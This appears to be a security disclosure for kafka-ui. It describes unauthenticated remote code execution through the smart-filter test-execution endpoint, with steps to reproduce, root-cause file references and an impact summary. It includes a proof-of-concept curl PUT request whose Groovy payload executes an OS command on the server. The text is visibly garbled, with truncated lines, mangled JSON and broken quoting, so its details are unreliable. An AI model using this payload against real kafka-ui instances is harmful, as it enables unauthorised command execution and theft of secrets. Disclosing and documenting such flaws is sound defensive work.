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## Summary

The test-execution endpoint runs arbitrary Groovy code supplied in
or feature flag. An unauthenticated remote attacker can achieve ful

## Steps to reproduce

1- Stand up any kafka-ui instance (default config, auth.type=DISABL
2- Send an unauthenticated "PUT  to "/api/smartfilters/testexecutic
3- The server executes the script in a raw, unsandboxed "GroovyScri
the JSON response.
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## Proof of concept

" “bash

curl -s -X PUT http://TARGET/api/smartfilters/testexecutions \
-H 'Content-Type: application/json' \

-d ! {
"filterCode": "throw new Exception(\"id\".execute().text)",
llkeyll : llkH, "Value" : "V",
"offset": 0, "partition": 0, "timestampMs": 0
.
Verified response
“Tjson

{"result":null,"error":"Execution error : java.lang.Exception: kafk

## Root cause

- MessagesController.java:75-80 — no validateAccess() call

- MessagesService.java:86-118 — execSmartFilterTest hardcodes GROO\
- MessageFilters.java:41-67 — script evaluated in a raw JVM engine
## Impact

Full 0S command execution An attacker can read secrets, exfiltrate
persistence with zero credentials required.
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